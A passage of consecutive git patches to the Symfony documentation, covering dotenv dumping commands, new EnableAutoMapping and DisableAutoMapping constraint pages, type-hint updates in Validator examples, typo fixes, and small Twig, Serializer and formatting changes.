@@ -164,14 +164,14 @@ most natural in your hosting environment.
 
     .. code-block:: terminal
 
-        $ composer dump-env prod
+        $ php bin/console dotenv:dump prod
 
-    The generated file will contain all the configuration stored in ``.env``. If you
+    The generated file will contain all the configurations stored in ``.env``. If you
     want to rely only on environment variables, generate one without any values using:
 
     .. code-block:: terminal
 
-        $ composer dump-env prod --empty
+        $ php bin/console dotenv:dump prod --empty
 
 C) Install/Update your Vendors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 679be09e566e61f8287f00648c10722d650b9838 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jul 2023 17:54:47 +0200
Subject: [PATCH 4868/7107] Tweaks

---
 configuration.rst | 11 +++++++----
 deployment.rst    |  9 ++++++---
 2 files changed, 13 insertions(+), 7 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index f439e6ade5e..bdbbc69ec12 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -827,24 +827,27 @@ the easiest way to define env vars is by creating a ``.env.local`` file on your
 production server(s) with your production values.
 
 To improve performance, you can optionally run the ``dotenv:dump`` command (available
-in :ref:`Symfony Flex <symfony-flex>` 1.2 or later). The command is not registered by default. 
-In order to enable it, you must add it to their services.yaml file:
+in :ref:`Symfony Flex <symfony-flex>` 1.2 or later). The command is not registered
+by default, so you must register first in your services:
 
 .. code-block:: yaml
 
+    # config/services.yaml
     services:
         Symfony\Component\Dotenv\Command\DotenvDumpCommand:
             - '%kernel.project_dir%/.env'
             - '%kernel.environment%'
 
-On PHP >= 8, the two arguments can be removed when autoconfiguration is enabled (which is the default):
+In PHP >= 8, you can remove the the two arguments when autoconfiguration is enabled
+(which is the default):
 
 .. code-block:: yaml
 
+    # config/services.yaml
     services:
         Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
         
-Running command:
+Then, run the command:
 
 .. code-block:: terminal
 
diff --git a/deployment.rst b/deployment.rst
index 702996f0f91..2c755158faa 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -154,14 +154,17 @@ most natural in your hosting environment.
 
     .. code-block:: terminal
 
-        $ php bin/console dotenv:dump prod
+        $ composer dump-env prod
 
-    The generated file will contain all the configurations stored in ``.env``. If you
+    The generated file will contain all the configuration stored in ``.env``. If you
     want to rely only on environment variables, generate one without any values using:
 
     .. code-block:: terminal
 
-        $ php bin/console dotenv:dump prod --empty
+        $ composer dump-env prod --empty
+
+    If you don't have Composer installed on the production server, use instead
+    :ref:`the dotenv:dump Symfony command <configuration-env-var-in-prod>`.
 
 C) Install/Update your Vendors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From abeaf3642d8f1d4452f748e878a87cc4fc56ddbd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 13 Jul 2023 18:16:22 +0200
Subject: [PATCH 4869/7107] [OptionsResolver] Typo

---
 components/options_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index a71a08f7b77..428e48e1b7c 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -579,7 +579,7 @@ be included in the resolved options if it was actually passed to
         }
 
         // ...
-        public function sendMail(string from, string $to): void
+        public function sendMail(string $from, string $to): void
         {
             if (array_key_exists('port', $this->options)) {
                 echo 'Set!';

From 301658f4ae9d70b55dd5f86fecebe67db7f73296 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 13 Jul 2023 20:58:38 +0200
Subject: [PATCH 4870/7107] [DependencyInjection] Improve reporting named
 autowiring aliases

---
 quick_tour/the_architecture.rst |  6 +++---
 service_container.rst           | 12 ++++++------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index a91cb8dc616..a4154d822b1 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -65,13 +65,13 @@ What other possible classes or interfaces could you use? Find out by running:
       # this is just a *small* sample of the output...
 
       Describes a logger instance.
-      Psr\Log\LoggerInterface (monolog.logger)
+      Psr\Log\LoggerInterface - alias:monolog.logger
 
       Request stack that controls the lifecycle of requests.
-      Symfony\Component\HttpFoundation\RequestStack (request_stack)
+      Symfony\Component\HttpFoundation\RequestStack - alias:request_stack
 
       RouterInterface is the interface that all Router classes must implement.
-      Symfony\Component\Routing\RouterInterface (router.default)
+      Symfony\Component\Routing\RouterInterface - alias:router.default
 
       [...]
 
diff --git a/service_container.rst b/service_container.rst
index de4d0825e28..e66acd54f97 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -58,13 +58,13 @@ What other services are available? Find out by running:
        The following classes & interfaces can be used as type-hints when autowiring:
 
        Describes a logger instance.
-       Psr\Log\LoggerInterface (logger)
+       Psr\Log\LoggerInterface - alias:logger
 
        Request stack that controls the lifecycle of requests.
-       Symfony\Component\HttpFoundation\RequestStack (request_stack)
+       Symfony\Component\HttpFoundation\RequestStack - alias:request_stack
 
        RouterInterface is the interface that all Router classes must implement.
-       Symfony\Component\Routing\RouterInterface (router.default)
+       Symfony\Component\Routing\RouterInterface - alias:router.default
 
        [...]
 
@@ -313,13 +313,13 @@ type-hints by running:
       # this is just a *small* sample of the output...
 
       Describes a logger instance.
-      Psr\Log\LoggerInterface (monolog.logger)
+      Psr\Log\LoggerInterface - alias:monolog.logger
 
       Request stack that controls the lifecycle of requests.
-      Symfony\Component\HttpFoundation\RequestStack (request_stack)
+      Symfony\Component\HttpFoundation\RequestStack - alias:request_stack
 
       RouterInterface is the interface that all Router classes must implement.
-      Symfony\Component\Routing\RouterInterface (router.default)
+      Symfony\Component\Routing\RouterInterface - alias:router.default
 
       [...]
 

From de9cd62177e5d61cf27eac95756a5f661d4596a6 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 15 Jul 2023 15:07:17 +0200
Subject: [PATCH 4871/7107] fix typo

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index bdbbc69ec12..85a7a23db35 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -838,7 +838,7 @@ by default, so you must register first in your services:
             - '%kernel.project_dir%/.env'
             - '%kernel.environment%'
 
-In PHP >= 8, you can remove the the two arguments when autoconfiguration is enabled
+In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
 (which is the default):
 
 .. code-block:: yaml

From 2653b56da6362370feae7a0fe7f6d80a453e98f4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 14 Jul 2023 21:59:48 +0200
Subject: [PATCH 4872/7107] [Validator] Add `EnableAutoMapping` and
 `DisableAutoMapping` constraints

---
 reference/configuration/doctrine.rst         |   2 +
 reference/constraints.rst                    |   2 +
 reference/constraints/DisableAutoMapping.rst | 119 +++++++++++++++++++
 reference/constraints/EnableAutoMapping.rst  | 119 +++++++++++++++++++
 reference/constraints/map.rst.inc            |   2 +
 5 files changed, 244 insertions(+)
 create mode 100644 reference/constraints/DisableAutoMapping.rst
 create mode 100644 reference/constraints/EnableAutoMapping.rst

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index d2dec43171b..c49122575a0 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -299,6 +299,8 @@ This option is ``false`` by default and it's considered a legacy option. It was
 only useful in previous Symfony versions, when it was recommended to use bundles
 to organize the application code.
 
+.. _doctrine_auto-mapping:
+
 Custom Mapping Entities in a Bundle
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/constraints.rst b/reference/constraints.rst
index aa9829b535a..aa341d95883 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -78,6 +78,8 @@ Validation Constraints Reference
    constraints/Traverse
    constraints/CssColor
    constraints/Cascade
+   constraints/EnableAutoMapping
+   constraints/DisableAutoMapping
 
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In
diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst
new file mode 100644
index 00000000000..322df5949e0
--- /dev/null
+++ b/reference/constraints/DisableAutoMapping.rst
@@ -0,0 +1,119 @@
+DisableAutoMapping
+==================
+
+This constraint allows to disable Doctrine's ``auto_mapping`` on a class or a
+property. You can read more about it
+:ref:`here <doctrine_auto-mapping>`. Automapping allows to determine
+validation rules based on Doctrine's annotations and attributes. You may
+use this constraint when automapping is globally enabled, but you still want to
+disable this feature for a class or a property specifically.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\DisableAutoMapping`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+In the following example, the
+:class:`Symfony\\Component\\Validator\\Constraints\\DisableAutoMapping`
+constraint will tell the validator to not gather constraints from Doctrine's
+metadata:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @Assert\DisableAutoMapping
+         */
+        class BookCollection
+        {
+            /**
+             * @ORM\Column(nullable=false)
+             */
+            protected $name = '';
+
+            /**
+             * @ORM\ManyToOne(targetEntity=Author::class)
+             */
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\DisableAutoMapping]
+        class BookCollection
+        {
+            #[ORM\Column(nullable: false)]
+            protected string $name = '';
+
+            #[ORM\ManyToOne(targetEntity: Author::class)]
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\BookCollection:
+            constraints:
+                - DisableAutoMapping: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\BookCollection">
+                <constraint name="DisableAutoMapping"/>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/BookCollection.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class BookCollection
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addConstraint(new Assert\DisableAutoMapping());
+            }
+        }
+
+Options
+-------
+
+The ``groups`` option is not available for this constraint.
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst
new file mode 100644
index 00000000000..77a544ac5cb
--- /dev/null
+++ b/reference/constraints/EnableAutoMapping.rst
@@ -0,0 +1,119 @@
+EnableAutoMapping
+=================
+
+This constraint allows to enable Doctrine's ``auto_mapping`` on a class or a
+property. You can read more about it
+:ref:`here <doctrine_auto-mapping>`. Automapping allows to determine
+validation rules based on Doctrine's annotations and attributes. You may
+use this constraint when automapping is globally disabled, but you still want
+to enable this feature for a class or a property specifically.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\EnableAutoMapping`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+In the following example, the
+:class:`Symfony\\Component\\Validator\\Constraints\\EnableAutoMapping`
+constraint will tell the validator to gather constraints from Doctrine's
+metadata:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @Assert\EnableAutoMapping
+         */
+        class BookCollection
+        {
+            /**
+             * @ORM\Column(nullable=false)
+             */
+            protected $name = '';
+
+            /**
+             * @ORM\ManyToOne(targetEntity=Author::class)
+             */
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\EnableAutoMapping]
+        class BookCollection
+        {
+            #[ORM\Column(nullable: false)]
+            protected string $name = '';
+
+            #[ORM\ManyToOne(targetEntity: Author::class)]
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\BookCollection:
+            constraints:
+                - EnableAutoMapping: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\BookCollection">
+                <constraint name="EnableAutoMapping"/>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/BookCollection.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class BookCollection
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addConstraint(new Assert\EnableAutoMapping());
+            }
+        }
+
+Options
+-------
+
+The ``groups`` option is not available for this constraint.
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index a0c1324dd1e..1d56346b096 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -101,3 +101,5 @@ Other Constraints
 * :doc:`Collection </reference/constraints/Collection>`
 * :doc:`Count </reference/constraints/Count>`
 * :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
+* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
+* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>`

From 3f53254a8c0f2c564bf146c99983c705d85f65dc Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Sun, 16 Jul 2023 21:36:04 +0200
Subject: [PATCH 4873/7107] Fix typo

---
 console/input.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index db1e1fcb2b8..6a242185034 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -375,7 +375,7 @@ Testing the Completion script
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The Console component comes with a special
-:class:`Symfony\\Component\\Console\\Tester\\CommandCompletionTester`` class
+:class:`Symfony\\Component\\Console\\Tester\\CommandCompletionTester` class
 to help you unit test the completion logic::
 
     // ...

From b61cb59368082ac7a69c979e118abefee6143a05 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 13 Jul 2023 21:16:19 +0200
Subject: [PATCH 4874/7107] [Format] Add `tabs` directive

---
 contributing/documentation/format.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 8df3fb45610..a357a2c7da7 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -124,6 +124,31 @@ Markup Format        Use It to Display
 ``php-standalone``   PHP code to be used in any PHP application using standalone Symfony components
 ===================  ==============================================================================
 
+Display Tabs
+~~~~~~~~~~~~
+
+It is possible to display tabs in the documentation. Even though their display
+looks like configuration blocks, tabs can contain any type of content:
+
+.. code-block:: rst
+
+    .. tabs:: UX Installation
+
+        .. tab:: Webpack Encore
+
+            Introduction to Webpack
+
+            .. code-block:: yaml
+
+                webpack:
+                    # ...
+
+        .. tab:: AssetMapper
+
+            Introduction to AssetMapper
+
+            Something else about AssetMapper
+
 Adding Links
 ~~~~~~~~~~~~
 

From 0b3b3af10ea765ec233a02b28f1a8a4444923e81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jul 2023 09:20:38 +0200
Subject: [PATCH 4875/7107] Minor tweak

---
 contributing/documentation/format.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index a357a2c7da7..33798d48da3 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -124,11 +124,11 @@ Markup Format        Use It to Display
 ``php-standalone``   PHP code to be used in any PHP application using standalone Symfony components
 ===================  ==============================================================================
 
-Display Tabs
-~~~~~~~~~~~~
+Displaying Tabs
+~~~~~~~~~~~~~~~
 
-It is possible to display tabs in the documentation. Even though their display
-looks like configuration blocks, tabs can contain any type of content:
+It is possible to display tabs in the documentation. They look similar to
+configuration blocks when rendered, but tabs can hold any type of content:
 
 .. code-block:: rst
 

From ffb2cc1ffdc3a87a4ff5ac937584512528d9b691 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jul 2023 10:00:13 +0200
Subject: [PATCH 4876/7107] Tweaks

---
 reference/constraints/DisableAutoMapping.rst | 11 +++++------
 reference/constraints/EnableAutoMapping.rst  | 11 +++++------
 2 files changed, 10 insertions(+), 12 deletions(-)

diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst
index 322df5949e0..463d47f5b4d 100644
--- a/reference/constraints/DisableAutoMapping.rst
+++ b/reference/constraints/DisableAutoMapping.rst
@@ -1,12 +1,11 @@
 DisableAutoMapping
 ==================
 
-This constraint allows to disable Doctrine's ``auto_mapping`` on a class or a
-property. You can read more about it
-:ref:`here <doctrine_auto-mapping>`. Automapping allows to determine
-validation rules based on Doctrine's annotations and attributes. You may
-use this constraint when automapping is globally enabled, but you still want to
-disable this feature for a class or a property specifically.
+This constraint allows to disable :ref:`Doctrine's auto mapping <doctrine_auto-mapping>`
+on a class or a property. Automapping allows to determine validation rules based
+on Doctrine's annotations and attributes. You may use this constraint when
+automapping is globally enabled, but you still want to disable this feature for
+a class or a property specifically.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst
index 77a544ac5cb..4ea5fd74f6d 100644
--- a/reference/constraints/EnableAutoMapping.rst
+++ b/reference/constraints/EnableAutoMapping.rst
@@ -1,12 +1,11 @@
 EnableAutoMapping
 =================
 
-This constraint allows to enable Doctrine's ``auto_mapping`` on a class or a
-property. You can read more about it
-:ref:`here <doctrine_auto-mapping>`. Automapping allows to determine
-validation rules based on Doctrine's annotations and attributes. You may
-use this constraint when automapping is globally disabled, but you still want
-to enable this feature for a class or a property specifically.
+This constraint allows to enable :ref:`Doctrine's auto mapping <doctrine_auto-mapping>`
+on a class or a property. Automapping allows to determine validation rules based
+on Doctrine's annotations and attributes. You may use this constraint when
+automapping is globally disabled, but you still want to enable this feature for
+a class or a property specifically.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`

From 611f782c677f1372899771da4809b320c001c43f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jul 2023 10:01:01 +0200
Subject: [PATCH 4877/7107] Remove annotations example

---
 reference/constraints/DisableAutoMapping.rst | 28 --------------------
 reference/constraints/EnableAutoMapping.rst  | 28 --------------------
 2 files changed, 56 deletions(-)

diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst
index 463d47f5b4d..24a6d570cae 100644
--- a/reference/constraints/DisableAutoMapping.rst
+++ b/reference/constraints/DisableAutoMapping.rst
@@ -22,34 +22,6 @@ metadata:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Model/BookCollection.php
-        namespace App\Model;
-
-        use App\Model\Author;
-        use App\Model\BookMetadata;
-        use Doctrine\ORM\Mapping as ORM;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\DisableAutoMapping
-         */
-        class BookCollection
-        {
-            /**
-             * @ORM\Column(nullable=false)
-             */
-            protected $name = '';
-
-            /**
-             * @ORM\ManyToOne(targetEntity=Author::class)
-             */
-            public Author $author;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Model/BookCollection.php
diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst
index 4ea5fd74f6d..346ebdbe52f 100644
--- a/reference/constraints/EnableAutoMapping.rst
+++ b/reference/constraints/EnableAutoMapping.rst
@@ -22,34 +22,6 @@ metadata:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Model/BookCollection.php
-        namespace App\Model;
-
-        use App\Model\Author;
-        use App\Model\BookMetadata;
-        use Doctrine\ORM\Mapping as ORM;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\EnableAutoMapping
-         */
-        class BookCollection
-        {
-            /**
-             * @ORM\Column(nullable=false)
-             */
-            protected $name = '';
-
-            /**
-             * @ORM\ManyToOne(targetEntity=Author::class)
-             */
-            public Author $author;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Model/BookCollection.php

From 97c31c7d05b7a5db2f315522d8d8b23c96289f24 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 17 Jul 2023 11:31:56 +0200
Subject: [PATCH 4878/7107] [Validator] Add missing types and return types

---
 reference/constraints/Callback.rst           | 18 +++++++++---------
 reference/constraints/DisableAutoMapping.rst |  2 +-
 reference/constraints/EnableAutoMapping.rst  |  2 +-
 validation/custom_constraint.rst             |  2 +-
 4 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 2b6b855eded..678dd4d07e3 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -39,7 +39,7 @@ Configuration
         class Author
         {
             #[Assert\Callback]
-            public function validate(ExecutionContextInterface $context, $payload): void
+            public function validate(ExecutionContextInterface $context, mixed $payload): void
             {
                 // ...
             }
@@ -80,7 +80,7 @@ Configuration
                 $metadata->addConstraint(new Assert\Callback('validate'));
             }
 
-            public function validate(ExecutionContextInterface $context, $payload): void
+            public function validate(ExecutionContextInterface $context, mixed $payload): void
             {
                 // ...
             }
@@ -101,7 +101,7 @@ field those errors should be attributed::
         // ...
         private string $firstName;
 
-        public function validate(ExecutionContextInterface $context, $payload)
+        public function validate(ExecutionContextInterface $context, mixed $payload): void
         {
             // somehow you have an array of "fake names"
             $fakeNames = [/* ... */];
@@ -121,13 +121,13 @@ Static Callbacks
 You can also use the constraint with static methods. Since static methods don't
 have access to the object instance, they receive the object as the first argument::
 
-    public static function validate($object, ExecutionContextInterface $context, $payload)
+    public static function validate(mixed $value, ExecutionContextInterface $context, mixed $payload): void
     {
         // somehow you have an array of "fake names"
         $fakeNames = [/* ... */];
 
         // check if the name is actually a fake name
-        if (in_array($object->getFirstName(), $fakeNames)) {
+        if (in_array($value->getFirstName(), $fakeNames)) {
             $context->buildViolation('This name sounds totally fake!')
                 ->atPath('firstName')
                 ->addViolation()
@@ -149,7 +149,7 @@ Suppose your validation function is ``Acme\Validator::validate()``::
 
     class Validator
     {
-        public static function validate($object, ExecutionContextInterface $context, $payload)
+        public static function validate(mixed $value, ExecutionContextInterface $context, mixed $payload): void
         {
             // ...
         }
@@ -206,7 +206,7 @@ You can then use the following configuration to invoke this validator:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Callback([
                     Validator::class,
@@ -235,9 +235,9 @@ constructor of the Callback constraint::
 
     class Author
     {
-        public static function loadValidatorMetadata(ClassMetadata $metadata)
+        public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
-            $callback = function ($object, ExecutionContextInterface $context, $payload): void {
+            $callback = function (mixed $value, ExecutionContextInterface $context, mixed $payload): void {
                 // ...
             };
 
diff --git a/reference/constraints/DisableAutoMapping.rst b/reference/constraints/DisableAutoMapping.rst
index 24a6d570cae..e19c8dc471b 100644
--- a/reference/constraints/DisableAutoMapping.rst
+++ b/reference/constraints/DisableAutoMapping.rst
@@ -76,7 +76,7 @@ metadata:
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\DisableAutoMapping());
             }
diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst
index 346ebdbe52f..03ef915fb38 100644
--- a/reference/constraints/EnableAutoMapping.rst
+++ b/reference/constraints/EnableAutoMapping.rst
@@ -76,7 +76,7 @@ metadata:
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\EnableAutoMapping());
             }
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index b1c50f0511d..731b20b0b92 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -88,7 +88,7 @@ The validator class only has one required method ``validate()``::
 
     class ContainsAlphanumericValidator extends ConstraintValidator
     {
-        public function validate($value, Constraint $constraint): void
+        public function validate(mixed $value, Constraint $constraint): void
         {
             if (!$constraint instanceof ContainsAlphanumeric) {
                 throw new UnexpectedTypeException($constraint, ContainsAlphanumeric::class);

From c190a8d66ed8578c47576d93376a72b14a19de03 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 17 Jul 2023 13:40:43 +0200
Subject: [PATCH 4879/7107] [Serializer] Deprecate
 `CacheableSupportsMethodInterface`

---
 serializer/custom_normalizer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index b17984bdf5b..5b70acecdb5 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -82,6 +82,12 @@ is called.
     All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
     as well the ones included in `API Platform`_ natively implement this interface.
 
+.. deprecated:: 6.3
+
+    The :class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
+    interface is deprecated since Symfony 6.3. You should implement the
+    ``getSupportedTypes()`` method instead, as shown in the section below.
+
 Improving Performance of Normalizers/Denormalizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From d26a32372d6edc261bbe3bcdd39257f59a7176b7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jul 2023 16:07:07 +0200
Subject: [PATCH 4880/7107] [TwigBundle] Allow omitting the
 autoescape_service_method

---
 reference/configuration/twig.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index cc079da6745..22641a19f06 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -85,6 +85,14 @@ autoescape_service_method
 If ``autoescape_service`` option is defined, then this option defines the method
 called to determine the default escaping applied to the template.
 
+If the service defined in ``autoescape_service`` in invocable (i.e. it defines
+the `__invoke() PHP magic method`_) you can omit this option.
+
+.. versionadded:: 6.4
+
+    The feature to use invocable services to omit this option was introduced in
+    Symfony 6.4.
+
 base_template_class
 ~~~~~~~~~~~~~~~~~~~
 
@@ -434,3 +442,4 @@ and the non-existing values are replaced by ``null``.
 
 .. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
 .. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting
+.. _`__invoke() PHP magic method`: https://www.php.net/manual/en/language.oop5.magic.php#object.invoke

From 8bbaf21b05cead1f7e34f53c46f7f1447c0a0113 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jul 2023 17:56:43 +0200
Subject: [PATCH 4881/7107] [Messenger] Fix the introduction diagram

---
 _images/components/messenger/overview.svg     |   2 +-
 .../sources/components/messenger/overview.dia | Bin 2348 -> 2363 bytes
 2 files changed, 1 insertion(+), 1 deletion(-)

diff --git a/_images/components/messenger/overview.svg b/_images/components/messenger/overview.svg
index 94737e7a6da..4b82c203756 100644
--- a/_images/components/messenger/overview.svg
+++ b/_images/components/messenger/overview.svg
@@ -1 +1 @@
